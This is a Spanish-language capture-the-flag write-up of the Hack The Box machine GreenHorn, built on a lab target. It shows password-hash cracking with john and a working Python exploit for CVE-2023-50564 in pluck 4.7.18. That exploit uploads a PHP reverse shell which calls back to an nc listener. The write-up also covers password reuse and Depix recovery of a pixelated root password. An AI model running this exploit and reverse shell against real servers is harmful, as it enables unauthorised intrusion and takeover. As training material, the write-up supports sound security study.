Descripción
GreenHorn es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Hash de una contraseña de un CMS filtrada en un servidor de Gitea
- Recuperación de una contraseña débil
- Aplicación web pluck vulnerable que permite la subida arbitraria de archivos que permite una ejecución remota de comandos
- Contraseña del CMS reutilizada en un usuario de Linux
- Escalada de privilegios mediante la recuperación de la contraseña del usuario root mediante la despixelización de una imagen pixelada en un archivo PDF
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.242.145.
$ ping -c 3 10.129.242.145
PING 10.129.242.145 (10.129.242.145) 56(84) bytes of data.
64 bytes from 10.129.242.145: icmp_seq=1 ttl=63 time=47.3 ms
64 bytes from 10.129.242.145: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.242.145: icmp_seq=3 ttl=63 time=46.5 ms
--- 10.129.242.145 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.168/46.639/47.263/0.459 ms
La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Linux. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.242.145 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds
Obtenemos tres puertos: 22, 80 y 3000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.242.145 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=8e44c51d11543cef; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=ODbs1c9iRoR2t1AaRgFXsRBaM9w6MTcyMTUwMjIwNTY1NDczMzYwNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=21a4b9e3660f3e95; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=P3YiyYMbZXIMvYSIMptL5S0rKgc6MTcyMTUwMjIxMDkwOTUwNTEzNA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94%I=7%D=7/20%Time=669C09FA%P=x86_64-pc-linux-gnu%r(Ge
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.52 seconds
Obtenemos un servicio de Secure Shell (SSH), y dos servicios Hypertext Transfer Protocol (HTTP). We are going to move to the HTTP service. Vamos a movernos al servicio HTTP. Observamos que el servicio está hospedando un sitio web, por lo que lo agregamos a nuestro archivo /etc/hosts.
$ echo "10.129.242.145 greenhorn.htb" | sudo tee -a /etc/hosts
La web está utilizando el CMS pluck.
En el enlace admin en la barra inferior encontramos la versión del Sistema de Gestión de Contenido (CMS) utilizado, 4.7.18. Por otro lado, en el puerto 3000 encontramos una instancia de Gitea. Tenemos acceso público al código fuente del sitio web. Después de enumerar el repositorio GreenAdmin/GreenHorn, encontramos el archivo /data/settings/pass.php, que contiene el hash de la contraseña del administrador del sitio web, d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163.
Si lo crackeamos como un hash SHA512, obtenemos la contraseña, iloveyou1.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1 (?)
1g 0:00:00:00 DONE 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Explotación
La versión 4.7.18 de pluck es vulnerable a un ataque autenticado de subida de archivos arbitrarios, con identificador CVE-2023-50564, lo que permite ejecutar código arbitrario al subir un archivo ZIP personalizado. Tenemos una prueba de concepto en Exploit-DB pero vamos a modificarla ligeramente para adaptarla a nuestras necesidades. En primer lugar, vamos a comprimir en ZIP nuestro archivo PHP de la terminal inversa.
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ zip plugin.zip php-reverse-shell.php
Este es el código fuente modificado del script Python.
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "iloveyou1","bogus": "","submit": "Log in"}
file_path = 'plugin.zip'
multipart_data = MultipartEncoder(
fields={
"sendfile": ("plugin.zip", open(file_path, "rb"), "application/zip"),
"submit": "Upload"
}
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload, proxies={'http': 'http://127.0.0.1:8080'})
if login_response.status_code == 200:
print("Login account")
upload_headers = {
"Referer": upload_url,
"Content-Type": multipart_data.content_type
}
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
if upload_response.status_code == 200:
print("ZIP file download.")
else:
print("ZIP file download error. Response code:", upload_response.status_code)
else:
print("Login problem. response code:", login_response.status_code)
rce_url="http://greenhorn.htb/data/modules/plugin/php-reverse-shell.php"
rce=requests.get(rce_url)
print(rce.text)
Antes de ejecutar el script, iniciamos el puerto de escucha.
$ nc -nvlp 1234
Lo ejecutamos.
$ python exploit.py
Entonces obtenemos una terminal inversa como el usuario www-data del equipo remoto.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.242.145] 45154
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
21:55:18 up 2 days, 7:03, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Post-Explotación
Como usuarios de consola, encontramos root, git y junior. También encontramos que junior reutiliza la contraseña anterior, iloveyou1, por lo que podemos iniciar sesión.
www-data@greenhorn:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
www-data@greenhorn:/$ su junior
Password:
junior@greenhorn:/$ id
uid=1000(junior) gid=1000(junior) groups=1000(junior)
En el directorio de inicio de junior, encontramos un archivo PDF llamado Using OpenVAS.pdf, así que lo descargamos.
junior@greenhorn:/$ ls /home/junior
user.txt 'Using OpenVAS.pdf'
El archivo PDF contiene instrucciones para ejecutar el escáner de vulnerabilidades OpenVAS y contiene una imagen de contraseña pixelada.
Podemos extraer la imagen de contraseña pixelada utilizando, por ejemplo, el lector de PDF Atril de Kali al hacer clic con el botón derecho en la imagen y seleccionar Guardar imagen como.... Actualmente, proyectos de código abierto como Depix nos permiten recuperar texto plano a partir de capturas de pantalla pixeladas proporcionando una imagen de referencia. Vamos a guardar la imagen pixelada como pixel.png, luego vamos a clonar el proyecto, instalar las dependencias y ejecutarla para intentar recuperar la contraseña píxelada.
$ git clone https://github.com/spipm/Depix
$ cd Depix
$ virtualenv depix
$ source depix/bin/activate
$ pip install Pillow
$ python depix.py -p pixel.png -o depixel.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
Después de algunos intentos, encontramos un archivo de imagen de referencia que coincide con nuestra imagen, images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png. La imagen resultante es depixel.png.
Como vemos, la contraseña se ha recuperado parcialmente, sidefromsidetheothersidesidefromsidetheotherside. Podemos iniciar sesión en el servidor utilizando SSH.
$ ssh root@greenhorn.htb
root@greenhorn.htb's password:
...
root@greenhorn:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
Desde la consola de root es posible recolectar las flags the usuario y de root.
root@greenhorn:~# cat /home/junior/user.txt
<REDACTED>
root@greenhorn:~# cat /root/root.txt
<REDACTED>